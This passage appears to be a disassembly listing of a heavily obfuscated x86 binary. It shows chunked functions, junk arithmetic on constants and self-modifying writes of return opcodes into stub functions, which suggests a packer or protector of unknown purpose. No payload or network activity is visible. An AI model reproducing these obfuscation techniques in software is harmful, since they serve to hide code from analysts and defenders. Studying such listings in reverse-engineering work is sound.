[esp+10h+var_10] push edx call sub_748C0D jmp loc_75232D ; END OF FUNCTION CHUNK FOR sub_75051C ; --------------------------------------------------------------------------- loc_752378: ; DATA XREF: sub_746BBA+7o mov esp, [esp+8] ; START OF FUNCTION CHUNK FOR sub_754729 loc_75237C: ; CODE XREF: sub_754729:loc_7495F0j ; sub_754729-B12Ej ... xor eax, eax loc_75237E: ; CODE XREF: sub_754729-B126j pop large dword ptr fs:0 pop edx jmp loc_74FA5B ; END OF FUNCTION CHUNK FOR sub_754729 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E451 loc_75238B: ; CODE XREF: sub_74E451:loc_757054j mov eax, [ebp-4] movzx eax, byte ptr [eax] mov edx, [ebp+8] mov [edx-18h], eax loc_752397: ; CODE XREF: sub_74E451+4CABj inc dword ptr [ebp-4] mov eax, [ebp+8] jmp loc_751F3D ; END OF FUNCTION CHUNK FOR sub_74E451 ; =============== S U B R O U T I N E ======================================= sub_7523A2 proc near ; CODE XREF: sub_7465EE+4p ; sub_7523A2:loc_74BBB9j ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00748822 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 007496E7 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0074BB28 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074BBB9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750656 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752332 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756546 SIZE 0000002A BYTES xchg ebp, [esp+0] push ebp pop edx pop ebp jmp loc_752332 sub_7523A2 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_274. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756A7E loc_7523AE: ; CODE XREF: sub_756A7E+Bj jmp loc_7530C9 ; END OF FUNCTION CHUNK FOR sub_756A7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748D38 loc_7523B3: ; CODE XREF: sub_748D38+3A33j jmp loc_74556D ; END OF FUNCTION CHUNK FOR sub_748D38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE8E loc_7523B8: ; CODE XREF: sub_74AE8E+9j pop ecx and ecx, 0C44EACEh add ecx, 0FC35473Fh call sub_752149 loc_7523CA: ; CODE XREF: _0z4jwtox:0074FC25j jmp loc_74C980 ; END OF FUNCTION CHUNK FOR sub_74AE8E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B305 loc_7523CF: ; CODE XREF: sub_74B305+E00j jmp loc_753727 ; END OF FUNCTION CHUNK FOR sub_74B305 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745A78 loc_7523D4: ; CODE XREF: sub_745A78+3D4Cj jmp sub_75622B ; END OF FUNCTION CHUNK FOR sub_745A78 ; --------------------------------------------------------------------------- push 638B21ECh pop eax rol eax, 8 test eax, 1000000h jmp loc_750544 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_7523ED: ; CODE XREF: sub_7543C5:loc_7450ECj ; _0z4jwtox:00746348j and edi, 7CF38078h cmp esi, 7CD4A0Bh jmp loc_74F9D3 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7515AA loc_7523FE: ; CODE XREF: sub_7515AA:loc_74FA79j jz loc_756E30 ; END OF FUNCTION CHUNK FOR sub_7515AA ; START OF FUNCTION CHUNK FOR sub_74A71A loc_752404: ; CODE XREF: sub_74A71A-4E0Ej jmp loc_746AF3 ; END OF FUNCTION CHUNK FOR sub_74A71A ; --------------------------------------------------------------------------- ja loc_746513 jmp loc_74EAB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_752414: ; CODE XREF: sub_74FE55+353j xor eax, 7A377ECAh add eax, 0C8648C1Dh add eax, ebp add eax, 54F7BFDFh mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_750866 jmp loc_7482A4 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- loc_752438: ; DATA XREF: sub_747C0C+38D7o mov eax, [esp] call sub_74CA1D ; START OF FUNCTION CHUNK FOR sub_7545C6 loc_752440: ; CODE XREF: sub_7545C6-BC8Bj jmp nullsub_129 ; END OF FUNCTION CHUNK FOR sub_7545C6 ; --------------------------------------------------------------------------- loc_752445: ; CODE XREF: _0z4jwtox:loc_757513j add ebx, 304A01C2h mov [ebx], eax call sub_748E68 ; START OF FUNCTION CHUNK FOR sub_75740D loc_752452: ; CODE XREF: sub_75740D-69D3j jmp nullsub_244 ; END OF FUNCTION CHUNK FOR sub_75740D ; --------------------------------------------------------------------------- loc_752457: ; CODE XREF: _0z4jwtox:00747C6Dj pop ecx lea eax, nullsub_184 mov byte ptr [eax], 0C3h jmp loc_74B901 ; --------------------------------------------------------------------------- call nullsub_275 jmp loc_74858B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_752470: ; CODE XREF: sub_74AAC1+6409j lea eax, loc_74B4DC mov byte ptr [eax], 0C3h jmp loc_751409 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; =============== S U B R O U T I N E ======================================= sub_75247E proc near ; CODE XREF: .text:00415EB0p ; sub_41AF6F+59p ; DATA XREF: ... ; FUNCTION CHUNK AT 00752EF8 SIZE 0000000D BYTES call sub_7543C5 loc_752483: ; CODE XREF: sub_7450FC+Aj jmp loc_752EF8 sub_75247E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_752488: ; CODE XREF: _0z4jwtox:loc_745947j ; sub_752D11-A4A5j imul byte ptr [edx] cmp al, 0A4h jz loc_7510BB jmp loc_74E43B ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_752497: ; CODE XREF: sub_747C22+43FDj sbb eax, edx xor edi, 1E8D8688h loc_75249F: ; CODE XREF: sub_753FCE:loc_7472FBj jmp loc_7559C3 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75275A loc_7524A4: ; CODE XREF: sub_75275A-5170j js loc_74725C loc_7524AA: ; CODE XREF: sub_75275A:loc_74DB30j lea eax, [ebp-12Dh] push edi mov edi, eax xchg edi, [esp+4+var_4] push offset sub_7476A3 jmp nullsub_180 ; END OF FUNCTION CHUNK FOR sub_75275A ; --------------------------------------------------------------------------- and edx, 7698C670h jmp loc_752998 ; --------------------------------------------------------------------------- loc_7524CB: ; CODE XREF: _0z4jwtox:0074741Fj jl loc_7558DA ; START OF FUNCTION CHUNK FOR sub_74946E loc_7524D1: ; CODE XREF: sub_74946E:loc_7477E9j sub edi, 4AD5CC85h xor edi, 4BD2A115h loc_7524DD: ; CODE XREF: _0z4jwtox:loc_74F1CCj and edi, 3CFB6321h add edi, 538F9793h sub eax, edi pop edi jmp loc_749E28 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755F42 loc_7524F1: ; CODE XREF: sub_755F42:loc_752000j pop edi or edi, 77A3778Fh add edi, 0F757A55Dh xor edi, 51CBCCF3h and edi, 33DCCD8Bh add edi, 0DD75A941h mov [edi], eax pop edi jmp loc_7458B0 ; END OF FUNCTION CHUNK FOR sub_755F42 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_752519: ; CODE XREF: _0z4jwtox:0074735Aj jmp nullsub_15 ; --------------------------------------------------------------------------- loc_75251E: ; CODE XREF: _0z4jwtox:0074C04Ej xor ebx, eax ; =============== S U B R O U T I N E ======================================= sub_752520 proc near ; CODE XREF: sub_74BF3A+8C7Ap ; FUNCTION CHUNK AT 00747300 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00748ADC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074C499 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074D18A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EDDC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074FE00 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075496F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00755938 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00756FCB SIZE 0000000C BYTES xchg ecx, [esp+0] pop ecx mov eax, [eax] jmp loc_74D18A sub_752520 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_280. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7577AC loc_75252C: ; CODE XREF: sub_7577AC-BAFj jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_7577AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750B49 loc_752531: ; CODE XREF: sub_750B49+Ej jmp sub_7467F4 ; END OF FUNCTION CHUNK FOR sub_750B49 ; --------------------------------------------------------------------------- loc_752536: ; DATA XREF: sub_74B3EB-989o add esi, 7019D180h mov [esi], eax pop esi lea eax, loc_751388 jmp loc_7549CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_75254A: ; CODE XREF: sub_74B1F1+59FCj and esi, edx pushf and edx, esi jmp loc_748A52 ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_752554: ; CODE XREF: sub_74C8DA:loc_753957j mov [edx], ecx pop edx mov [ebp-6], dx mov [ebp-4], eax xor eax, eax jmp loc_7575E8 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; --------------------------------------------------------------------------- loc_752565: ; CODE XREF: _0z4jwtox:00748697j jns loc_75125B mov eax, [esp] push edx call sub_74DAAF mov eax, 4AC5B528h jmp loc_74A013 ; --------------------------------------------------------------------------- mov eax, 19EDC823h ; START OF FUNCTION CHUNK FOR sub_7514AC loc_752583: ; CODE XREF: sub_7514AC:loc_754064j push esi push 0FA23BC6Dh pop esi sub esi, 7CFE0B3Dh rol esi, 1Dh add esi, 0F0D006DCh jmp loc_747B6E ; END OF FUNCTION CHUNK FOR sub_7514AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBB7 loc_75259E: ; CODE XREF: sub_74CBB7:loc_7573E6j and ecx, 0CFCCD4D3h add ecx, 0FC2C6528h xchg ecx, [esp+0] jmp loc_74D622 ; END OF FUNCTION CHUNK FOR sub_74CBB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7564A7 loc_7525B2: ; CODE XREF: sub_7564A7:loc_7564B6j jl loc_755F5A ; END OF FUNCTION CHUNK FOR sub_7564A7 ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_7525B8: ; CODE XREF: sub_74B1F1-46D2j jmp loc_750BE7 ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; --------------------------------------------------------------------------- mov edi, [ebp+0] ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_7525C0: ; CODE XREF: sub_74A7D8:loc_7539C0j mov ebp, edi jmp loc_755F58 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750715 loc_7525C7: ; CODE XREF: sub_750715:loc_74AA72j mov ebp, edx xchg ebp, [esp+0] call sub_7570B1 mov eax, 0F26FE81Bh push edi jmp loc_745C43 ; END OF FUNCTION CHUNK FOR sub_750715 ; --------------------------------------------------------------------------- loc_7525DC: ; CODE XREF: _0z4jwtox:0074E6D2j jnb loc_74CBD2 ; START OF FUNCTION CHUNK FOR sub_747736 loc_7525E2: ; CODE XREF: sub_747736:loc_74D4A4j and ebx, 8878386Ah jnz loc_750374 rol edi, 0Ch jmp loc_75036E ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748723 loc_7525F6: ; CODE XREF: sub_748723+AF6j and edx, 0F0356444h loc_7525FC: ; CODE XREF: sub_748723:loc_749210j add eax, 2673FF9Dh call sub_7558BD loc_752607: ; CODE XREF: _0z4jwtox:0075611Ej mov [ebp+0], edx sub ecx, ebp jmp loc_74645D ; END OF FUNCTION CHUNK FOR sub_748723 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7570B1 loc_752611: ; CODE XREF: sub_7570B1:loc_75704Ej ; _0z4jwtox:00757066j rol edx, 2 xor edx, 0E0FE2094h add edx, 84793AC7h add edx, ebp add edx, 811F2FE6h mov [edx], eax pop edx push 28BA6BAh jmp loc_74D61D ; END OF FUNCTION CHUNK FOR sub_7570B1 ; --------------------------------------------------------------------------- loc_752635: ; CODE XREF: _0z4jwtox:0074B682j mov edi, 3A989ACAh ; =============== S U B R O U T I N E ======================================= sub_75263A proc near ; CODE XREF: sub_74A47B+7BB3p ; FUNCTION CHUNK AT 00745E8A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007482D1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00753EFB SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx pop ecx jmp loc_753EFB sub_75263A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A71A loc_752644: ; CODE XREF: sub_74A71A:loc_748FD6j test byte ptr [ebp-8], 2 jz loc_7482D4 push ebp jmp loc_756E7E ; END OF FUNCTION CHUNK FOR sub_74A71A ; --------------------------------------------------------------------------- loc_752654: ; CODE XREF: _0z4jwtox:loc_756E63j add ebp, 5CE27CC3h ; =============== S U B R O U T I N E ======================================= sub_75265A proc near ; CODE XREF: _0z4jwtox:0075634Dp ; FUNCTION CHUNK AT 0074F74C SIZE 00000006 BYTES xchg ecx, [esp+0] pop ecx add ecx, 2E3E3FAAh jmp loc_74F74C sub_75265A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7535F0 loc_752669: ; CODE XREF: sub_7535F0:loc_75456Cj push 37E1654Dh pop edi sub edi, 464F92D8h and edi, 0DA33F5D0h cmp edi, 0B8941B8Bh jmp loc_74CDC8 ; END OF FUNCTION CHUNK FOR sub_7535F0 ; --------------------------------------------------------------------------- mov ds:dword_41F0DC, eax push offset sub_755076 jmp loc_74663B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752C44 loc_752696: ; CODE XREF: sub_752C44+3660j mov ecx, ebp not eax loc_75269A: ; CODE XREF: sub_752C44:loc_7464ACj push 0AFBF5E09h xchg ebx, [esp+4+var_4] mov eax, ebx jmp loc_754931 ; END OF FUNCTION CHUNK FOR sub_752C44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_7526A9: ; CODE XREF: sub_74AAC1+8079j js loc_756802 ror eax, 2 sub eax, 61B047D3h push esi push 0BE2CED9Ah pop esi jmp loc_75460E ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753FCE loc_7526C4: ; CODE XREF: sub_753FCE-8723j and ebx, esi add ecx, 3F7DAE6Ah loc_7526CC: ; CODE XREF: sub_753FCE:loc_749E71j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_747300 jmp loc_750785 ; END OF FUNCTION CHUNK FOR sub_753FCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75622B loc_7526DD: ; CODE XREF: sub_75622B-DBC4j rol ecx, 11h add ecx, 7579EF80h mov [ecx], eax pop ecx ; END OF FUNCTION CHUNK FOR sub_75622B ; START OF FUNCTION CHUNK FOR sub_745A78 loc_7526E9: ; CODE XREF: sub_745A78:loc_752188j lea eax, sub_75622B jmp loc_748D12 ; END OF FUNCTION CHUNK FOR sub_745A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C3EB loc_7526F4: ; CODE XREF: _0z4jwtox:007504B4j ; sub_74C3EB:loc_750BBBj js loc_745DD3 mov ebp, esi jmp sub_7500C5 ; END OF FUNCTION CHUNK FOR sub_74C3EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_752701: ; CODE XREF: sub_74946E:loc_74E147j call sub_746E93 push edi push 98A8FB01h pop edi xor edi, 92CA2046h cmp edi, 0B3FA599Ah jmp loc_7477E9 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- locret_75271E: ; CODE XREF: _0z4jwtox:0074EB22j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_75271F: ; CODE XREF: sub_7490F6+8F8Bj jmp loc_749AF1 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- loc_752724: ; CODE XREF: _0z4jwtox:0074BC29j jmp loc_7459AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_752729: ; CODE XREF: sub_749980+1C91j jmp nullsub_219 ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_75272E: ; CODE XREF: sub_7571A1:loc_756780j popf xchg edx, [esp+4+var_4] jmp loc_749A20 ; END OF FUNCTION CHUNK FOR sub_7571A1 ; =============== S U B R O U T I N E ======================================= sub_752737 proc near ; CODE XREF: sub_74B1F1-1B14p ; _0z4jwtox:0074E553j ; FUNCTION CHUNK AT 00745C4D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746B42 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0074869C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074A1D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074CAA7 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074F6BA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00753C12 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007575A7 SIZE 0000000E BYTES xchg ebx, [esp+0] pop ebx cmp al, 0A4h jz loc_745C4D jmp loc_74A1D2 sub_752737 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7568F5 loc_75274A: ; CODE XREF: sub_7568F5+Bj jmp nullsub_299 ; END OF FUNCTION CHUNK FOR sub_7568F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F1E7 loc_75274F: ; CODE XREF: _0z4jwtox:loc_74A24Aj ; sub_74F1E7+Cj jmp nullsub_276 ; END OF FUNCTION CHUNK FOR sub_74F1E7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_752755: ; CODE XREF: sub_74CBCF-27E9j jmp loc_74E1A8 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; =============== S U B R O U T I N E ======================================= sub_75275A proc near ; DATA XREF: _0z4jwtox:loc_756BBFo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745285 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00745ED8 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00746A67 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074725C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00747A36 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00747CD5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074AC9A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074BB0A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074CE30 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074D5E8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0074DB30 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074E20F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007524A4 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 007547D7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00756D12 SIZE 00000005 BYTES mov byte ptr [eax], 0 inc dword ptr [ebp-24h] jmp loc_747CD5 sub_75275A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_752765: ; CODE XREF: sub_7561AB-106ACj inc dword ptr [ebp-24h] jmp loc_752FF9 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_75276D: ; CODE XREF: sub_746640:loc_746394j ; sub_7473D1+Aj ... push 0C9474715h pop eax add eax, 0ADC829Ah and eax, 0DEE41F5h add eax, 390D6647h jmp loc_74EC6F ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- shr eax, 15h jmp loc_754279 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E986 loc_752792: ; CODE XREF: _0z4jwtox:00745578j ; sub_74E986+Aj call sub_746CF0 retn ; END OF FUNCTION CHUNK FOR sub_74E986 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_752798: ; CODE XREF: sub_747AEC+4B32j jmp loc_7515FF ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746556 loc_75279D: ; CODE XREF: sub_746556+7j push esi push 0EC25933Ah pop esi and esi, 2FC8EFA0h rol esi, 1 jmp loc_74712C ; END OF FUNCTION CHUNK FOR sub_746556 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_7527B1: ; CODE XREF: sub_74C0A0:loc_749DAFj ror edx, 16h loc_7527B4: ; CODE XREF: _0z4jwtox:loc_7539A8j jmp loc_7480CB ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_7527B9: ; CODE XREF: sub_7490F6:loc_749157j js loc_74E82F sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_74EE3E jmp loc_75207B ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E37 loc_7527D3: ; CODE XREF: sub_746E37-1CD4j jno loc_7549DB cmp ecx, ebp jmp loc_750C61 ; END OF FUNCTION CHUNK FOR sub_746E37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_7527E0: ; CODE XREF: sub_74F73B-5E45j ; _0z4jwtox:loc_753170j mov ds:dword_41F044, eax lea eax, nullsub_17 mov byte ptr [eax], 0C3h jmp nullsub_17 ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- dd 24048B5Ah, 89F3E852h, 0C0B8FFFFh, 0E97DA6ACh, 0FFFFF224h ; --------------------------------------------------------------------------- loc_752808: ; DATA XREF: sub_747778-1112o call sub_7452F3 pop ecx mov edx, [ebp+8] imul dword ptr [edx-4] add eax, 2 mov [ebp-0Ch], eax jmp loc_754F0D ; --------------------------------------------------------------------------- loc_75281F: ; CODE XREF: _0z4jwtox:007457AEj and edi, 0E0BA3680h sub edi, 57A8F39Bh and edi, 0EFEDEF1Fh test edi, 2000h jmp loc_753952 ; --------------------------------------------------------------------------- mov ds:off_41F09C, eax lea eax, sub_74C0A0 mov byte ptr [eax], 0C3h jmp sub_74C0A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_752850: ; CODE XREF: sub_74C0A0j call sub_749576 loc_752855: ; CODE XREF: sub_748C98+529Aj jmp loc_7514E4 ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; --------------------------------------------------------------------------- loc_75285A: ; CODE XREF: _0z4jwtox:007483B9j jmp loc_746C90 ; --------------------------------------------------------------------------- loc_75285F: ; CODE XREF: _0z4jwtox:loc_7503D3j push ebp mov ebp, edx xchg ebp, [esp] push edx call sub_752C8E loc_75286B: ; CODE XREF: _0z4jwtox:007547D2j jmp loc_748513 ; --------------------------------------------------------------------------- loc_752870: ; CODE XREF: _0z4jwtox:loc_74EDF4j xchg ecx, [esp] push 0AC08D0EAh pop ebx rol ebx, 12h add ebx, 0BCCA06A0h jmp loc_74955D ; --------------------------------------------------------------------------- loc_752887: ; CODE XREF: _0z4jwtox:0074FFFBj mov eax, 4C5D3995h call sub_746E93 mov ds:dword_41F034, eax lea eax, nullsub_291 mov byte ptr [eax], 0C3h jmp nullsub_291 ; --------------------------------------------------------------------------- loc_7528A5: ; CODE XREF: _0z4jwtox:00753869j mov eax, [esp] push ebx jmp loc_74E31C ; --------------------------------------------------------------------------- sub esi, edx jmp loc_74C623 ; --------------------------------------------------------------------------- loc_7528B5: ; CODE XREF: _0z4jwtox:00746FE5j push 568F7D49h pop eax rol eax, 1Ah test eax, 10000h jmp loc_75336C ; --------------------------------------------------------------------------- and esi, edx jmp sub_74B008 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_245. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747B31 loc_7528D1: ; CODE XREF: sub_747B31+5CC5j jmp loc_7486D2 ; END OF FUNCTION CHUNK FOR sub_747B31 ; --------------------------------------------------------------------------- mov ds:off_41F0C0, eax lea eax, loc_74FBB6 mov byte ptr [eax], 0C3h jmp loc_74FBB6 ; =============== S U B R O U T I N E ======================================= sub_7528EA proc near ; CODE XREF: sub_4085B9+36p ; sub_7528EA+5j ; DATA XREF: ... call sub_7528FA jmp ds:off_41F0C4 sub_7528EA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_7528F5: ; CODE XREF: sub_747A94+F371j jmp loc_74FD36 ; END OF FUNCTION CHUNK FOR sub_747A94 ; =============== S U B R O U T I N E ======================================= sub_7528FA proc near ; CODE XREF: sub_7570E0-10EA7j ; _0z4jwtox:loc_74D754j ... push offset sub_749229 jmp nullsub_94 sub_7528FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_752904 proc near ; CODE XREF: sub_74E7AE+56Bj retn sub_752904 endp ; --------------------------------------------------------------------------- pop edi jmp sub_7474E3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_75290C: ; CODE XREF: sub_74D1F3+17j jmp loc_74F71F ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7515AA loc_752911: ; CODE XREF: sub_7515AA+Bj push 3659BBA5h pop eax or eax, 5580EA51h xor eax, 2A5DE8E5h rol eax, 12h test eax, 20000h jmp loc_74FA79 ; END OF FUNCTION CHUNK FOR sub_7515AA ; --------------------------------------------------------------------------- loc_752931: ; DATA XREF: sub_7547BA+7o mov eax, edx ; START OF FUNCTION CHUNK FOR sub_74A250 loc_752933: ; CODE XREF: sub_74A250+7j push edi push 0E132F393h pop edi and edi, 0B1260664h add edi, 21E91B21h and edi, 0F233312h add edi, 0FD72244Ah jmp loc_74544D ; END OF FUNCTION CHUNK FOR sub_74A250 ; =============== S U B R O U T I N E ======================================= sub_752957 proc near ; CODE XREF: _0z4jwtox:0074EA01j ; sub_745C55+1109Dp var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00749C35 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074AD0F SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0074B66A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074E20A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EF46 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007505F5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007512B7 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00753855 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00753D8D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00754A00 SIZE 0000000B BYTES xchg eax, [esp+4+var_4] pop eax add edx, 0E82CEA91h xchg edx, [esp+0] jmp loc_749C35 sub_752957 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_752969 proc near ; DATA XREF: sub_74698F:loc_7565FFo push esi push 0A24EEB2Fh pop esi xor esi, 97BD99BCh jmp loc_74A3F5 sub_752969 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75118C loc_75297B: ; CODE XREF: sub_75118C-36B2j push edx loc_75297C: ; CODE XREF: _0z4jwtox:007567A5j mov edx, eax xchg edx, [esp+0Ch+var_C] push 1DFF06D0h pop eax and eax, 6D2243F0h xor eax, 78D71B70h jmp loc_74BEAA ; END OF FUNCTION CHUNK FOR sub_75118C ; --------------------------------------------------------------------------- loc_752998: ; CODE XREF: _0z4jwtox:007524C6j shl edi, 8 ; =============== S U B R O U T I N E ======================================= sub_75299B proc near ; 